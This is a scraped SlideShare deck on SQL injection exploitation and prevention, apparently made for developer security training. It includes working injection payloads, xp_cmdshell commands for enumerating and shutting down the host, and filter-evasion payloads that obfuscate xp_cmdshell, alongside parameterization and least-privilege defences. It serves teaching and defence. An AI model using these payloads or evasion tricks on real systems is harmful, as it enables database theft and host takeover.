SlideShare a Scribd company logo
1 of 58
Devouring Security
Sqli
Exploitation & prevention
Part 1 & 2
Marudhamaran Gunasekaran
Watch the screen recording of this presentation at
Devouring Security – Sql Injection Part 1 - http://vimeo.com/83658524
Devouring Security – Sql Injection Part 2 – http://vimeo.com/85256464
Security
Feeling
Reality
Trade offs
Wisdom
Ignorance is no excuse
Disclaimer
Techniques and Tools in this presentation
should be used or applied on an application,
only with prior consent of the application’s
owner.
Illegal otherwise.
Sqli – Media coverage

http://pastebin.com/HUjZPaF3
Sqli – Media coverage

http://thepiratebay.se/torrent/6443601
http://www.bloomberg.com/news/2013-01-24/sony-fined-394-000-over-2011-hacker-attack-on-playstation-data.html

Sqli – Media coverage
http://www.eteknix.com/turkish-hackers-claim-to-have-leaked-40000-sony-italy-account-details/

Sqli – Media coverage
http://news.techworld.com/security/3331283/barclays-97-percent-of-data-breaches-still-due-to-sql-injection/

Sqli – Media coverage
Sqli – MediaCoverage
Sqli – Why does it exist?
Yeah! I can develop/deploy without restrictions , I have full
access.

Thanks bro! I am your uninvited database administrator now. I owe you, and
your data.

I like them admin rights
Sqli – Why does it exist?
Conglomeration of Sensitive Data
Would you keep all your belongings in your home, or would you keep some in your
safe deposit box?
Blindly Trusting Unsanitized User Input
"Over thousands of queries in a moderate- to large-size application, that 2% can result
in a handful of SQL injections," Chou says. "All an attacker needs to do is find one
of these, and you'll have millions of records stolen and a headline in Dark
Reading.“
Sqli – Why does it exist?
• It’s not always about a developer knowing
better,
there are tons and tons of legacy code
• Remember, DBA’s write SQL too
• No strict access control policies
• Windows based/Desktop based applications
are directly ported to the web
• Developer’s still don’t know the complete
truths about Sqli
Sqli 101
../Products?name=rat
SELECT 1 FROM Products WHERE ProductName
= ‘rat‘
../Products?name=rat‘ or 1=1 -SELECT 1 FROM Products WHERE ProductName
= ‘rat’ or 1=1 -- ’
or true
Sqli 101
• http://sqli:8020/Sqli/
• http://localhost/WebGoat/attack?
Screen=147&menu=1100&stage=1
Sqli U
Sqli U
http://sqli:8020/Sqli/ProductSearch
Sqli E
Sqli E
http://sqli:8020/SqliErrorRiddle/
Sqli E
-- table enumerator
SELECT TOP 1 Convert(INT, NAME)
FROM sys.tables
WHERE object_id = (
SELECT TOP 1 object_id
FROM (
SELECT TOP 2 object_id
FROM sys.tables
ORDER BY object_id
) AS TEMP
ORDER BY object_id DESC
)

Enumerating in MySQl is very easy with OFFSET.
ORMs and SPs Loopholes
http://sqli:8020/SqliORM/ProductSearch
It’s not an ORM’s problem to have
you loaded with features
ALTER PROCEDURE SearchProducts (@Item VARCHAR(100))
AS
BEGIN
DECLARE @query VARCHAR(400)
SET @query = 'SELECT * FROM Products WHERE ProductName LIKE ''%' + @Item + '%'''
PRINT @query
EXEC (@query)
END
GO
---------------------------------------------------------------------------------------------- Execute good
EXEC SearchProducts 'chai'
GO
-- Execute bad
EXEC SearchProducts 'chai%'' or 1=1--'
GO
Fixing SP Loopholes
ALTER PROCEDURE SearchProductsBetter (@Item VARCHAR(200))
AS
BEGIN
DECLARE @safequery NVARCHAR(400)
DECLARE @params NVARCHAR(200)
SET @safequery = N'SELECT * FROM Products WHERE
ProductName LIKE ''%'' + @param1 + ''%'''
SET @params = N'@param1 NVARCHAR(200)‘;
EXECUTE SP_EXECUTESQL @safequery
,@params
,@param1 = @Item
END
GO
---------------------------------------------------------------------------------------------- Execute bad
EXEC SearchProductsBetter 'chai%'' or 1=1--'
GO
Profiling Host OS
• Privilege misuse and rooting
Profiling Host OS
-- enable command shell
EXEC sp_configure 'show advanced options',
1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;
-- disable command shell
EXEC sp_configure 'show advanced options',
1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 0;RECONFIGURE;
Profiling Host OS
-- play time!
exec xp_cmdshell 'tasklist‘
exec master.dbo.xp_cmdshell 'whoami‘
exec xp_cmdshell 'netsh advfirewall firewall
show rule name=all profile=public'
Profiling Host OS
-- enumerate and remove trace
create table tempsz(temp varchar(MAX));insert into tempsz exec
xp_cmdshell 'tasklist';select * from tempsz;drop table tempsz;
-- enumerate and leave trace
create table tempsz(temp varchar(MAX));insert into tempsz exec
xp_cmdshell 'tasklist';
-- get enumerated information and remove trace
select temp from tempsz;drop table tempsz;
Profiling Host OS
-- schedule a shutdown and send message to the user named
maran
exec xp_cmdshell 'shutdown -s -t 6000'; exec xp_cmdshell 'msg
maran You will be shut down in 100 minutes'
-- abort the shutdown and send message to the user named
maran
exec xp_cmdshell 'shutdown -a'; exec xp_cmdshell 'msg maran I
have heard your prayer. You are salvaged'
Profiling Host OS
OSCommand_Run in Oracle does the equivalent of xp_cmdshell
in Sql server.
Sqli T
Just biding time, my friend
Sqli T
Oracle
DBMS_LOCK.sleep
TSql
WAIT FOR DELAY
MySql
BENCHMARK
Sqli B
Blind, but I could
get by
Sqli B
Blind, not as fast,
but I could travel
miles
IDS Evasive Techniques
‘485’=“485”
‘5’>’1’
“QSNR”=“QSNR”
REPLACE('SEL/**/CT', '/**/', '')
Blacklist Filter Evasion
';exec xP_cMdsheLL 'dir';-';ex/**/ec xp_cmds/**/hell 'dir';-- [old versions]
';exec/**/xp_cmdshell/**/'dir';-';Declare @cmd as varchar(3000);Set @cmd =
'x'+'p'+'_'+'c'+'m'+'d'+'s'+'h'+'e'+'l'+'l'+'/**/'+''''+'d'+'i'+'r'+'''';e
xec(@cmd);--
Blacklist Filter Evasion
Declare @cmd as varchar(3000);Set @cmd
=(CHAR(101)+CHAR(120)+CHAR(101)+CHAR(99)+CHAR(32)+CHAR(109)+C
HAR(97)+CHAR(115)+CHAR(116)+CHAR(101)+CHAR(114)+CHAR(46)+CHAR
(46)+CHAR(120)+CHAR(112)+CHAR(95)+CHAR(99)+CHAR(109)+CHAR(100)
+CHAR(115)+CHAR(104)+CHAR(101)+CHAR(108)+CHAR(108)+CHAR(32)+C
HAR(39)+CHAR(100)+CHAR(105)+CHAR(114)+CHAR(39)+CHAR(59));EXEC(
@cmd);--

EXEC (exec master..xp_cmdshell 'dir')
Sqli Exploitation tools
• Sqlmap
• sqlninja
• Safe3SI
• Enema
• Havij
• Pangolin
• BSQL Hacker
……………………. and a lot more
Sqli Exploitation tools
Demonstration
1.Safe3SI
2.Enema
3.Sqlmap
Sqli Feeble Fixes
Blacklisting is suicide
IDSs are not very effective for Sqli
Feeble Fixes
Blacklisting
(can’t filter all possible dangerous inputs like
below)
“QSNR”=“QSNR”
REPLACE('SEL/**/CT', '/**/', '')
Blacklisting for Death
Blacklisting for Death
Blacklisting for Death
Sqli Prevention
Sqli Prevention

Exploitation tools
Fuzzers
Active/Passive vulnerability scanners
Core Defense
Input Validation with Whitelist, Type casting
or/and RegEx.
Core Defense
Validation with RegEx
Core Defense
CREATE PROCEDURE dbo.doQuery (@id NCHAR(4))
AS
DECLARE @query NCHAR(64)
IF RTRIM(@id) LIKE '[0-9][0-9][0-9][0-9]'
BEGIN
SELECT @query = 'select ccnum from cust where id = ''' + @id + ''''
EXEC @query
END
RETURN

-- Or, better yet, force an interger parameter
CREATE PROCEDURE dbo.doQuery(@id smallint)
Core Defense
Parametrization a.k.a prepared statements
[refer to your framework for support]
Core Defense
Encrypt data to prevent disclosure when physical
database files are stolen.
1. Encryption does not do a darn thing to protect
you from direct Sqli
2. Encryption only protects you from Sqli induced
attacks
Core Defense
Database user account audits
1. Selective privilege principle
2. Least privilege principle
Code Reviews - Spot and Stop Sqli
Code Reviews - Spot and Stop Sqli
CAT.Net Sqli Scan
CAT.Net Sqli Scan

MicrosoftACECodeAnalysisReport.htm
Netsparker community edition
What now?
Sqli Cheatsheet http://ferruh.mavituna.com/sql-injectioncheatsheet-oku
Dynamic queries in T-SQL http://www.sommarskog.se/dyn-search2005.html
http://www.sommarskog.se/dyn-search2008.html
End of the world
Watch the screen recording of this presentation
at my vimeo channel
Devouring Security – Sql Injection Part 1 http://vimeo.com/83658524
Devouring Security – Sql Injection Part 2 –
http://vimeo.com/85256464

More Related Content

Similar to Devouring Security Sqli Exploitation and Prevention

Avoiding cursors with sql server 2005 tech republic
Avoiding cursors with sql server 2005   tech republicAvoiding cursors with sql server 2005   tech republic
Avoiding cursors with sql server 2005 tech republic
Kaing Menglieng
 
UKOUG, Oracle Transaction Locks
UKOUG, Oracle Transaction LocksUKOUG, Oracle Transaction Locks
UKOUG, Oracle Transaction Locks
Kyle Hailey
 
Trigger and cursor program using sql
Trigger and cursor program using sqlTrigger and cursor program using sql
Trigger and cursor program using sql
Sushil Mishra
 
Understanding Query Optimization with ‘regular’ and ‘Exadata’ Oracle
Understanding Query Optimization with ‘regular’ and ‘Exadata’ OracleUnderstanding Query Optimization with ‘regular’ and ‘Exadata’ Oracle
Understanding Query Optimization with ‘regular’ and ‘Exadata’ Oracle
Guatemala User Group
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers do
fangjiafu
 
11thingsabout11g 12659705398222 Phpapp01
11thingsabout11g 12659705398222 Phpapp0111thingsabout11g 12659705398222 Phpapp01
11thingsabout11g 12659705398222 Phpapp01
Karam Abuataya
 
Bypass dbms assert
Bypass dbms assertBypass dbms assert
Bypass dbms assert
fangjiafu
 

Similar to Devouring Security Sqli Exploitation and Prevention (20)

More than 12 More things about Oracle Database 12c
More than 12 More things about Oracle Database 12cMore than 12 More things about Oracle Database 12c
More than 12 More things about Oracle Database 12c
 
Oracle Database 12c Application Development
Oracle Database 12c Application DevelopmentOracle Database 12c Application Development
Oracle Database 12c Application Development
 
OpenWorld 2018 - Common Application Developer Disasters
OpenWorld 2018 - Common Application Developer DisastersOpenWorld 2018 - Common Application Developer Disasters
OpenWorld 2018 - Common Application Developer Disasters
 
OpenWorld Sep14 12c for_developers
OpenWorld Sep14 12c for_developersOpenWorld Sep14 12c for_developers
OpenWorld Sep14 12c for_developers
 
Avoiding cursors with sql server 2005 tech republic
Avoiding cursors with sql server 2005   tech republicAvoiding cursors with sql server 2005   tech republic
Avoiding cursors with sql server 2005 tech republic
 
Awr doag
Awr doagAwr doag
Awr doag
 
UKOUG, Oracle Transaction Locks
UKOUG, Oracle Transaction LocksUKOUG, Oracle Transaction Locks
UKOUG, Oracle Transaction Locks
 
Trigger and cursor program using sql
Trigger and cursor program using sqlTrigger and cursor program using sql
Trigger and cursor program using sql
 
Taking advantage of the Amazon Web Services (AWS) Family
Taking advantage of the Amazon Web Services (AWS) FamilyTaking advantage of the Amazon Web Services (AWS) Family
Taking advantage of the Amazon Web Services (AWS) Family
 
Understanding Query Optimization with ‘regular’ and ‘Exadata’ Oracle
Understanding Query Optimization with ‘regular’ and ‘Exadata’ OracleUnderstanding Query Optimization with ‘regular’ and ‘Exadata’ Oracle
Understanding Query Optimization with ‘regular’ and ‘Exadata’ Oracle
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers do
 
11thingsabout11g 12659705398222 Phpapp01
11thingsabout11g 12659705398222 Phpapp0111thingsabout11g 12659705398222 Phpapp01
11thingsabout11g 12659705398222 Phpapp01
 
11 Things About11g
11 Things About11g11 Things About11g
11 Things About11g
 
Bypass dbms assert
Bypass dbms assertBypass dbms assert
Bypass dbms assert
 
PHP tips by a MYSQL DBA
PHP tips by a MYSQL DBAPHP tips by a MYSQL DBA
PHP tips by a MYSQL DBA
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)
 
10053 otw
10053 otw10053 otw
10053 otw
 
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
 
5 Cool Things About SQL
5 Cool Things About SQL5 Cool Things About SQL
5 Cool Things About SQL
 
Labs_BT_20221017.pptx
Labs_BT_20221017.pptxLabs_BT_20221017.pptx
Labs_BT_20221017.pptx
 

More from gmaran23

More from gmaran23 (17)

First Software Security Netherlands Meet Up - Delft - 18 May 2017
First Software Security Netherlands Meet Up - Delft - 18 May 2017First Software Security Netherlands Meet Up - Delft - 18 May 2017
First Software Security Netherlands Meet Up - Delft - 18 May 2017
 
N Different Strategies to Automate OWASP ZAP - Cybersecurity WithTheBest - Oc...
N Different Strategies to Automate OWASP ZAP - Cybersecurity WithTheBest - Oc...N Different Strategies to Automate OWASP ZAP - Cybersecurity WithTheBest - Oc...
N Different Strategies to Automate OWASP ZAP - Cybersecurity WithTheBest - Oc...
 
N Different Strategies to Automate OWASP ZAP - OWASP APPSec BUCHAREST - Oct 1...
N Different Strategies to Automate OWASP ZAP - OWASP APPSec BUCHAREST - Oct 1...N Different Strategies to Automate OWASP ZAP - OWASP APPSec BUCHAREST - Oct 1...
N Different Strategies to Automate OWASP ZAP - OWASP APPSec BUCHAREST - Oct 1...
 
What is new in OWASP Top 10 2017 (RC) - Prowareness Tech Talk Tuesdays - 20 J...
What is new in OWASP Top 10 2017 (RC) - Prowareness Tech Talk Tuesdays - 20 J...What is new in OWASP Top 10 2017 (RC) - Prowareness Tech Talk Tuesdays - 20 J...
What is new in OWASP Top 10 2017 (RC) - Prowareness Tech Talk Tuesdays - 20 J...
 
The Impact of Culture on Distributed Agile - DiscussAgile - May 07 2016
The Impact of Culture on Distributed Agile - DiscussAgile - May 07 2016The Impact of Culture on Distributed Agile - DiscussAgile - May 07 2016
The Impact of Culture on Distributed Agile - DiscussAgile - May 07 2016
 
Prioritizing Portfolio Backlog to Maximize Value Steve Mayner Agile Asia 2016
Prioritizing Portfolio Backlog to Maximize Value Steve Mayner Agile Asia 2016Prioritizing Portfolio Backlog to Maximize Value Steve Mayner Agile Asia 2016
Prioritizing Portfolio Backlog to Maximize Value Steve Mayner Agile Asia 2016
 
Performance Appraisals in Agile Environment Nagesh Sharma
Performance Appraisals in Agile Environment Nagesh SharmaPerformance Appraisals in Agile Environment Nagesh Sharma
Performance Appraisals in Agile Environment Nagesh Sharma
 
Automating Web Application Security Testing With OWASP ZAP DOT NET API - Tech...
Automating Web Application Security Testing With OWASP ZAP DOT NET API - Tech...Automating Web Application Security Testing With OWASP ZAP DOT NET API - Tech...
Automating Web Application Security Testing With OWASP ZAP DOT NET API - Tech...
 
How to Kick Start a New Scrum Team - Agility and HR at Delft Netherlands 21 J...
How to Kick Start a New Scrum Team - Agility and HR at Delft Netherlands 21 J...How to Kick Start a New Scrum Team - Agility and HR at Delft Netherlands 21 J...
How to Kick Start a New Scrum Team - Agility and HR at Delft Netherlands 21 J...
 
What Can I Learn From You?
What Can I Learn From You?What Can I Learn From You?
What Can I Learn From You?
 
Beefing Up Security In ASP.NET Part 2 Dot Net Bangalore 4th meet up on August...
Beefing Up Security In ASP.NET Part 2 Dot Net Bangalore 4th meet up on August...Beefing Up Security In ASP.NET Part 2 Dot Net Bangalore 4th meet up on August...
Beefing Up Security In ASP.NET Part 2 Dot Net Bangalore 4th meet up on August...
 
Beefing Up Security In ASP.NET Dot Net Bangalore 3rd meet up on May 16 2015
Beefing Up Security In ASP.NET Dot Net Bangalore 3rd meet up on May 16 2015Beefing Up Security In ASP.NET Dot Net Bangalore 3rd meet up on May 16 2015
Beefing Up Security In ASP.NET Dot Net Bangalore 3rd meet up on May 16 2015
 
Practical Security Testing for Developers using OWASP ZAP at Dot Net Bangalor...
Practical Security Testing for Developers using OWASP ZAP at Dot Net Bangalor...Practical Security Testing for Developers using OWASP ZAP at Dot Net Bangalor...
Practical Security Testing for Developers using OWASP ZAP at Dot Net Bangalor...
 
OWASP Zed Attack Proxy Demonstration - OWASP Bangalore Nov 22 2014
OWASP Zed Attack Proxy Demonstration - OWASP Bangalore Nov 22 2014OWASP Zed Attack Proxy Demonstration - OWASP Bangalore Nov 22 2014
OWASP Zed Attack Proxy Demonstration - OWASP Bangalore Nov 22 2014
 
Six steps for securing offshore development
Six steps for securing offshore developmentSix steps for securing offshore development
Six steps for securing offshore development
 
Devouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site ScriptingDevouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site Scripting
 
Devouring Security XML Attack surface and Defences
Devouring Security XML Attack surface and DefencesDevouring Security XML Attack surface and Defences
Devouring Security XML Attack surface and Defences
 

Recently uploaded

Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
vu2urc
 

Recently uploaded (20)

AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Developing An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of BrazilDeveloping An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of Brazil
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your Business
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
HTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesHTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation Strategies
 

Devouring Security Sqli Exploitation and Prevention